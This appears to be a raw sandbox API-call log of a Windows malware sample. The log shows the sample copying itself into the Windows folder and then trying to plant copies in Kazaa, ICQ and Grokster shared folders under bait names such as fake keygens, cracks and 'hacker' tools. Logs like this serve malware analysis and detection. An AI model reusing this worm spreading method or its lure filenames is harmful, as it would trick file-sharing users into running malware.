18:17:46,796	288	LdrLoadDll	Flags => 2293060 BaseAddress => 0x77fe0000 FileName => Secur32.dll	SUCCESS	0x00000000
18:17:46,796	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetUserNameExA FunctionAddress => 0x77fe1dca ModuleHandle => 0x77fe0000	SUCCESS	0x00000000
18:17:46,816	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\WINDOWS\1.exe	SUCCESS	0x00000001
18:17:46,816	288	NtOpenFile	ShareAccess => 7 FileName => C:\WINDOWS\1.exe DesiredAccess => 0x00100100 FileHandle => 0x000000c8	SUCCESS	0x00000000
18:17:46,816	288	NtSetInformationFile	FileHandle => 0x000000c8 FileInformation =>	SUCCESS	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\Windows 2003 Advanced Server KeyGen.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\UT 2003 KeyGen.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\Half-Life 2 Downloader.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\Password Cracker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\FTP Cracker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\Brutus FTP Cracker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\Hotmail Hacker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\Hotmail Cracker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\Windows.Vista.32.bit.CRACK.by.RELOADED.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\Norton Anti-Virus 2008 Enterprise Crack.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\DCOM Exploit.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\NetBIOS Hacker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\NetBIOS Cracker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\L0pht 4.0 Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\sdbot with NetBIOS Spread.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\Sub7 2.3 Private.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\Microsoft Visual C++ KeyGen.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\Microsoft Visual Basic KeyGen.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\Microsoft Visual Studio KeyGen.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\MSN Password Cracker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\AOL Instant Messenger (AIM) Hacker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\ICQ Hacker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\AOL Password Cracker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\Keylogger.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\Website Hacker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\IP Nuker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\Counter-Strike KeyGen.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa\my shared folder\DivX 5.0 Pro KeyGen.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\Windows 2003 Advanced Server KeyGen.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\UT 2003 KeyGen.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\Half-Life 2 Downloader.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\Password Cracker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\FTP Cracker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\Brutus FTP Cracker.exe	FAILURE	0x00000000
18:17:46,826	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\Hotmail Hacker.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\Hotmail Cracker.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\Windows.Vista.32.bit.CRACK.by.RELOADED.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\Norton Anti-Virus 2008 Enterprise Crack.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\DCOM Exploit.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\NetBIOS Hacker.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\NetBIOS Cracker.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\L0pht 4.0 Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\sdbot with NetBIOS Spread.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\Sub7 2.3 Private.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\Microsoft Visual C++ KeyGen.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\Microsoft Visual Basic KeyGen.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\Microsoft Visual Studio KeyGen.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\MSN Password Cracker.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\AOL Instant Messenger (AIM) Hacker.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\ICQ Hacker.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\AOL Password Cracker.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\Keylogger.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\Website Hacker.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\IP Nuker.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\Counter-Strike KeyGen.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite\my shared folder\DivX 5.0 Pro KeyGen.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\Windows 2003 Advanced Server KeyGen.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\UT 2003 KeyGen.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\Half-Life 2 Downloader.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\Password Cracker.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\FTP Cracker.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\Brutus FTP Cracker.exe	FAILURE	0x00000000
18:17:46,836	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\Hotmail Hacker.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\Hotmail Cracker.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\Windows.Vista.32.bit.CRACK.by.RELOADED.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\Norton Anti-Virus 2008 Enterprise Crack.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\DCOM Exploit.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\NetBIOS Hacker.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\NetBIOS Cracker.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\L0pht 4.0 Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\sdbot with NetBIOS Spread.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\Sub7 2.3 Private.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\Microsoft Visual C++ KeyGen.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\Microsoft Visual Basic KeyGen.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\Microsoft Visual Studio KeyGen.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\MSN Password Cracker.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\AOL Instant Messenger (AIM) Hacker.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\ICQ Hacker.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\AOL Password Cracker.exe	FAILURE	0x00000000
18:17:46,846	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\Keylogger.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\Website Hacker.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\IP Nuker.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\Counter-Strike KeyGen.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\kazaa lite k++\my shared folder\DivX 5.0 Pro KeyGen.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\Windows 2003 Advanced Server KeyGen.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\UT 2003 KeyGen.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\Half-Life 2 Downloader.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\Password Cracker.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\FTP Cracker.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\Brutus FTP Cracker.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\Hotmail Hacker.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\Hotmail Cracker.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\Windows.Vista.32.bit.CRACK.by.RELOADED.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\Norton Anti-Virus 2008 Enterprise Crack.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\DCOM Exploit.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\NetBIOS Hacker.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\NetBIOS Cracker.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\L0pht 4.0 Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\sdbot with NetBIOS Spread.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\Sub7 2.3 Private.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\Microsoft Visual C++ KeyGen.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\Microsoft Visual Basic KeyGen.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\Microsoft Visual Studio KeyGen.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\MSN Password Cracker.exe	FAILURE	0x00000000
18:17:46,856	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\AOL Instant Messenger (AIM) Hacker.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\ICQ Hacker.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\AOL Password Cracker.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\Keylogger.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\Website Hacker.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\IP Nuker.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\Counter-Strike KeyGen.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\icq\shared folder\DivX 5.0 Pro KeyGen.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\Windows 2003 Advanced Server KeyGen.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\UT 2003 KeyGen.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\Half-Life 2 Downloader.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\Password Cracker.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\FTP Cracker.exe	FAILURE	0x00000000
18:17:46,866	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\grokster\my grokster\Brutus FTP Cracker.exe	FAILURE	0x00000000
